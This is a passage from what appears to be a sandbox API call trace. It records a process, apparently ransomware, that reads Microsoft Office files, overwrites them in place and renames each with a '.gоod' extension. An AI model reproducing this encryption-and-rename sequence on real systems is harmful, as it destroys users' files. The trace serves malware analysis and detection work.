lpDistanceToMoveHigh=0x1f59de08*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x1f59de08*=0) returned 0x1000 [0212.822] ReadFile (in: hFile=0x834, lpBuffer=0x367efa0, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1f59ddd8, lpOverlapped=0x0 | out: lpBuffer=0x367efa0*, lpNumberOfBytesRead=0x1f59ddd8*=0x1000, lpOverlapped=0x0) returned 1 [0212.823] CloseHandle (hObject=0x834) returned 1 [0212.823] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\ORGCHART.CHM", nBufferLength=0x105, lpBuffer=0x1f59d790, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\ORGCHART.CHM", lpFilePart=0x0) returned 0x41 [0212.823] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f59dcb0) returned 1 [0212.823] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\ORGCHART.CHM" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\orgchart.chm"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x834 [0212.824] GetFileType (hFile=0x834) returned 0x1 [0212.824] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f59dc20) returned 1 [0212.824] GetFileType (hFile=0x834) returned 0x1 [0212.824] SetFilePointer (in: hFile=0x834, lDistanceToMove=0, lpDistanceToMoveHigh=0x1f59de08*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x1f59de08*=0) returned 0x140b2 [0212.824] WriteFile (in: hFile=0x834, lpBuffer=0x3680260*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x1f59dcf8, lpOverlapped=0x0 | out: lpBuffer=0x3680260*, lpNumberOfBytesWritten=0x1f59dcf8*=0x10, lpOverlapped=0x0) returned 1 [0212.825] CloseHandle (hObject=0x834) returned 1 [0212.825] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\ORGCHART.CHM", nBufferLength=0x105, lpBuffer=0x1f59d790, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\ORGCHART.CHM", lpFilePart=0x0) returned 0x41 [0212.825] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f59dcb0) returned 1 [0212.825] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\ORGCHART.CHM" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\orgchart.chm"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x834 [0212.825] GetFileType (hFile=0x834) returned 0x1 [0212.825] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f59dc20) returned 1 [0212.825] GetFileType (hFile=0x834) returned 0x1 [0212.825] ReadFile (in: hFile=0x834, lpBuffer=0x3682588, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1f59dd88, lpOverlapped=0x0 | out: lpBuffer=0x3682588*, lpNumberOfBytesRead=0x1f59dd88*=0x1000, lpOverlapped=0x0) returned 1 [0213.680] CloseHandle (hObject=0x834) returned 1 [0213.680] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\ORGCHART.CHM", nBufferLength=0x105, lpBuffer=0x1f59d790, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\ORGCHART.CHM", lpFilePart=0x0) returned 0x41 [0213.680] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f59dcb0) returned 1 [0213.680] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\ORGCHART.CHM" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\orgchart.chm"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x834 [0213.680] GetFileType (hFile=0x834) returned 0x1 [0213.680] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f59dc20) returned 1 [0213.680] GetFileType (hFile=0x834) returned 0x1 [0213.680] WriteFile (in: hFile=0x834, lpBuffer=0x342bff8*, nNumberOfBytesToWrite=0x1010, lpNumberOfBytesWritten=0x1f59de38, lpOverlapped=0x0 | out: lpBuffer=0x342bff8*, lpNumberOfBytesWritten=0x1f59de38*=0x1010, lpOverlapped=0x0) returned 1 [0213.681] CloseHandle (hObject=0x834) returned 1 [0213.681] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\ORGCHART.CHM", nBufferLength=0x105, lpBuffer=0x1f59d8e0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\ORGCHART.CHM", lpFilePart=0x0) returned 0x41 [0213.681] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\ORGCHART.CHM.gоod", nBufferLength=0x105, lpBuffer=0x1f59d8e0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\ORGCHART.CHM.gоod", lpFilePart=0x0) returned 0x46 [0213.681] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f59dd70) returned 1 [0213.681] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\ORGCHART.CHM" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\orgchart.chm"), fInfoLevelId=0x0, lpFileInformation=0x1f59de50 | out: lpFileInformation=0x1f59de50*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x9bcfaf5, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x9bcfaf5, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x7b93fea8, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x140c2)) returned 1 [0213.681] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f59dd30) returned 1 [0213.681] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\ORGCHART.CHM" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\orgchart.chm"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\ORGCHART.CHM.gоod" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\orgchart.chm.gоod")) returned 1 [0213.682] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\OUTFORM.DAT", nBufferLength=0x105, lpBuffer=0x1f59d8e0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\OUTFORM.DAT", lpFilePart=0x0) returned 0x40 [0213.682] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f59ddb0) returned 1 [0213.682] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\OUTFORM.DAT" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\outform.dat"), fInfoLevelId=0x0, lpFileInformation=0x34f60b8 | out: lpFileInformation=0x34f60b8*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xa284551, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xa284551, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xa2f6cec, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x16e00)) returned 1 [0213.682] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f59dd70) returned 1 [0213.682] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\OUTFORM.DAT", nBufferLength=0x105, lpBuffer=0x1f59d790, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\OUTFORM.DAT", lpFilePart=0x0) returned 0x40 [0213.682] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f59dcb0) returned 1 [0213.682] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\OUTFORM.DAT" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\outform.dat"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x834 [0213.683] GetFileType (hFile=0x834) returned 0x1 [0213.683] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f59dc20) returned 1 [0213.683] GetFileType (hFile=0x834) returned 0x1 [0213.683] SetFilePointer (in: hFile=0x834, lDistanceToMove=4096, lpDistanceToMoveHigh=0x1f59de08*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x1f59de08*=0) returned 0x1000 [0213.683] ReadFile (in: hFile=0x834, lpBuffer=0x34f64b0, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1f59ddd8, lpOverlapped=0x0 | out: lpBuffer=0x34f64b0*, lpNumberOfBytesRead=0x1f59ddd8*=0x1000, lpOverlapped=0x0) returned 1 [0213.684] CloseHandle (hObject=0x834) returned 1 [0213.684] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\OUTFORM.DAT", nBufferLength=0x105, lpBuffer=0x1f59d790, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\OUTFORM.DAT", lpFilePart=0x0) returned 0x40 [0213.684] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f59dcb0) returned 1 [0213.685] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\OUTFORM.DAT" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\outform.dat"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x834 [0213.685] GetFileType (hFile=0x834) returned 0x1 [0213.685] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f59dc20) returned 1 [0213.685] GetFileType (hFile=0x834) returned 0x1 [0213.685] SetFilePointer (in: hFile=0x834, lDistanceToMove=0, lpDistanceToMoveHigh=0x1f59de08*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x1f59de08*=0) returned 0x16e00 [0213.685] WriteFile (in: hFile=0x834, lpBuffer=0x34f7948*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x1f59dcf8, lpOverlapped=0x0 | out: lpBuffer=0x34f7948*, lpNumberOfBytesWritten=0x1f59dcf8*=0x10, lpOverlapped=0x0) returned 1 [0213.686] CloseHandle (hObject=0x834) returned 1 [0213.686] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\OUTFORM.DAT", nBufferLength=0x105, lpBuffer=0x1f59d790, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\OUTFORM.DAT", lpFilePart=0x0) returned 0x40 [0213.686] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f59dcb0) returned 1 [0213.686] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\OUTFORM.DAT" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\outform.dat"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x834 [0213.686] GetFileType (hFile=0x834) returned 0x1 [0213.686] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f59dc20) returned 1 [0213.686] GetFileType (hFile=0x834) returned 0x1 [0213.686] ReadFile (in: hFile=0x834, lpBuffer=0x34fad28, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1f59dd88, lpOverlapped=0x0 | out: lpBuffer=0x34fad28*, lpNumberOfBytesRead=0x1f59dd88*=0x1000, lpOverlapped=0x0) returned 1 [0214.739] CloseHandle (hObject=0x834) returned 1 [0214.739] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\OUTFORM.DAT", nBufferLength=0x105, lpBuffer=0x1f59d790, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\OUTFORM.DAT", lpFilePart=0x0) returned 0x40 [0214.739] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f59dcb0) returned 1 [0214.739] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\OUTFORM.DAT" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\outform.dat"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x834 [0214.739] GetFileType (hFile=0x834) returned 0x1 [0214.739] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f59dc20) returned 1 [0214.740] GetFileType (hFile=0x834) returned 0x1 [0214.740] WriteFile (in: hFile=0x834, lpBuffer=0x346b360*, nNumberOfBytesToWrite=0x1010, lpNumberOfBytesWritten=0x1f59de38, lpOverlapped=0x0 | out: lpBuffer=0x346b360*, lpNumberOfBytesWritten=0x1f59de38*=0x1010, lpOverlapped=0x0) returned 1 [0214.740] CloseHandle (hObject=0x834) returned 1 [0214.740] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\OUTFORM.DAT", nBufferLength=0x105, lpBuffer=0x1f59d8e0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\OUTFORM.DAT", lpFilePart=0x0) returned 0x40 [0214.740] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\OUTFORM.DAT.gоod", nBufferLength=0x105, lpBuffer=0x1f59d8e0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\OUTFORM.DAT.gоod", lpFilePart=0x0) returned 0x45 [0214.740] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f59dd70) returned 1 [0214.740] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\OUTFORM.DAT" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\outform.dat"), fInfoLevelId=0x0, lpFileInformation=0x1f59de50 | out: lpFileInformation=0x1f59de50*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xa284551, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xa284551, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x7c342da5, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x16e10)) returned 1 [0214.740] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f59dd30) returned 1 [0214.740] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\OUTFORM.DAT" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\outform.dat"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\OUTFORM.DAT.gоod" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\outform.dat.gоod")) returned 1 [0214.741] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\OUTLOOK.HXS", nBufferLength=0x105, lpBuffer=0x1f59d8e0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\OUTLOOK.HXS", lpFilePart=0x0) returned 0x40 [0214.741] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f59ddb0) returned 1 [0214.741] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\OUTLOOK.HXS" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\outlook.hxs"), fInfoLevelId=0x0, lpFileInformation=0x35d3870 | out: lpFileInformation=0x35d3870*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xf5afc9d3, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf5afc9d3, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x9c1bf71, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0xa538a)) returned 1 [0214.742] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f59dd70) returned 1 [0214.742] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\OUTLOOK.HXS", nBufferLength=0x105, lpBuffer=0x1f59d790, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\OUTLOOK.HXS", lpFilePart=0x0) returned 0x40 [0214.742] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f59dcb0) returned 1 [0214.742] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\OUTLOOK.HXS" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\outlook.hxs"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x834 [0214.742] GetFileType (hFile=0x834) returned 0x1 [0214.742] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f59dc20) returned 1 [0214.742] GetFileType (hFile=0x834) returned 0x1 [0214.742] SetFilePointer (in: hFile=0x834, lDistanceToMove=4096, lpDistanceToMoveHigh=0x1f59de08*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x1f59de08*=0) returned 0x1000 [0214.742] ReadFile (in: hFile=0x834, lpBuffer=0x35d3c68, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1f59ddd8, lpOverlapped=0x0 | out: lpBuffer=0x35d3c68*, lpNumberOfBytesRead=0x1f59ddd8*=0x1000, lpOverlapped=0x0) returned 1 [0214.744] CloseHandle (hObject=0x834) returned 1 [0214.744] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\OUTLOOK.HXS", nBufferLength=0x105, lpBuffer=0x1f59d790, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\OUTLOOK.HXS", lpFilePart=0x0) returned 0x40 [0214.744] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f59dcb0) returned 1 [0214.744] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\OUTLOOK.HXS" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\outlook.hxs"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x834 [0214.744] GetFileType (hFile=0x834) returned 0x1 [0214.744] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f59dc20) returned 1 [0214.744] GetFileType (hFile=0x834) returned 0x1 [0214.744] SetFilePointer (in: hFile=0x834, lDistanceToMove=0, lpDistanceToMoveHigh=0x1f59de08*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x1f59de08*=0) returned 0xa538a [0214.744] WriteFile (in: hFile=0x834, lpBuffer=0x35d6888*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x1f59dcf8, lpOverlapped=0x0 | out: lpBuffer=0x35d6888*, lpNumberOfBytesWritten=0x1f59dcf8*=0x10, lpOverlapped=0x0) returned 1 [0214.746] CloseHandle (hObject=0x834) returned 1 [0214.746] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\OUTLOOK.HXS", nBufferLength=0x105, lpBuffer=0x1f59d790, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\OUTLOOK.HXS", lpFilePart=0x0) returned 0x40 [0214.746] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f59dcb0) returned 1 [0214.746] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\OUTLOOK.HXS" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\outlook.hxs"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x834 [0214.746] GetFileType (hFile=0x834) returned 0x1 [0214.746] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f59dc20) returned 1 [0214.746] GetFileType (hFile=0x834) returned 0x1 [0214.747] ReadFile (in: hFile=0x834, lpBuffer=0x35da208, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1f59dd88, lpOverlapped=0x0 | out: lpBuffer=0x35da208*, lpNumberOfBytesRead=0x1f59dd88*=0x1000, lpOverlapped=0x0) returned 1 [0215.142] CloseHandle (hObject=0x834) returned 1 [0215.142] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\OUTLOOK.HXS", nBufferLength=0x105, lpBuffer=0x1f59d790, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\OUTLOOK.HXS", lpFilePart=0x0) returned 0x40 [0215.142] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f59dcb0) returned 1 [0215.142] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\OUTLOOK.HXS" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\outlook.hxs"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x834 [0215.142] GetFileType (hFile=0x834) returned 0x1 [0215.142] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f59dc20) returned 1 [0215.142] GetFileType (hFile=0x834) returned 0x1 [0215.142] WriteFile (in: hFile=0x834, lpBuffer=0x34bf260*, nNumberOfBytesToWrite=0x1010, lpNumberOfBytesWritten=0x1f59de38, lpOverlapped=0x0 | out: lpBuffer=0x34bf260*, lpNumberOfBytesWritten=0x1f59de38*=0x1010, lpOverlapped=0x0) returned 1 [0215.143] CloseHandle (hObject=0x834) returned 1 [0215.143] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\OUTLOOK.HXS", nBufferLength=0x105, lpBuffer=0x1f59d8e0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\OUTLOOK.HXS", lpFilePart=0x0) returned 0x40 [0215.143] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\OUTLOOK.HXS.gоod", nBufferLength=0x105, lpBuffer=0x1f59d8e0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\OUTLOOK.HXS.gоod", lpFilePart=0x0) returned 0x45 [0215.143] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f59dd70) returned 1 [0215.143] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\OUTLOOK.HXS" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\outlook.hxs"), fInfoLevelId=0x0, lpFileInformation=0x1f59de50 | out: lpFileInformation=0x1f59de50*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xf5afc9d3, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf5afc9d3, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x7c722bc3, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0xa539a)) returned 1 [0215.143] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f59dd30) returned 1 [0215.143] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\OUTLOOK.HXS" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\outlook.hxs"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\OUTLOOK.HXS.gоod" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\outlook.hxs.gоod")) returned 1 [0215.144] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\OUTLPERF.H", nBufferLength=0x105, lpBuffer=0x1f59d8e0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\OUTLPERF.H", lpFilePart=0x0) returned 0x3f [0215.144] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f59ddb0) returned 1 [0215.144] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\OUTLPERF.H" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\outlperf.h"), fInfoLevelId=0x0, lpFileInformation=0x3566d40 | out: lpFileInformation=0x3566d40*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xca90ec5a, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xca90ec5a, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xca90ec5a, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x227)) returned 1 [0215.145] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f59dd70) returned 1 [0215.145] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\OUTLPERF.H", nBufferLength=0x105, lpBuffer=0x1f59d740, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\OUTLPERF.H", lpFilePart=0x0) returned 0x3f [0215.145] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f59dc60) returned 1 [0215.145] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\OUTLPERF.H" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\outlperf.h"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x834 [0215.145] GetFileType (hFile=0x834) returned 0x1 [0215.145] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f59dbd0) returned 1 [0215.145] GetFileType (hFile=0x834) returned 0x1 [0215.145] GetFileSize (in: hFile=0x834, lpFileSizeHigh=0x1f59de08 | out: lpFileSizeHigh=0x1f59de08*=0x0) returned 0x227 [0215.145] ReadFile (in: hFile=0x834, lpBuffer=0x3567210, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1f59dd38, lpOverlapped=0x0 | out: lpBuffer=0x3567210*, lpNumberOfBytesRead=0x1f59dd38*=0x227, lpOverlapped=0x0) returned 1 [0215.146] CloseHandle (hObject=0x834) returned 1 [0215.176] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\OUTLPERF.H", nBufferLength=0x105, lpBuffer=0x1f59d740, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\OUTLPERF.H", lpFilePart=0x0) returned 0x3f [0215.176] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f59dc60) returned 1 [0215.176] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\OUTLPERF.H" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\outlperf.h"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x834 [0215.177] GetFileType (hFile=0x834) returned 0x1 [0215.177] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f59dbd0) returned 1 [0215.177] GetFileType (hFile=0x834) returned 0x1 [0215.177] WriteFile (in: hFile=0x834, lpBuffer=0x35e0540*, nNumberOfBytesToWrite=0x230, lpNumberOfBytesWritten=0x1f59dc48, lpOverlapped=0x0 | out: lpBuffer=0x35e0540*, lpNumberOfBytesWritten=0x1f59dc48*=0x230, lpOverlapped=0x0) returned 1 [0215.537] CloseHandle (hObject=0x834) returned 1 [0215.771] GetFullPathNameW (in: 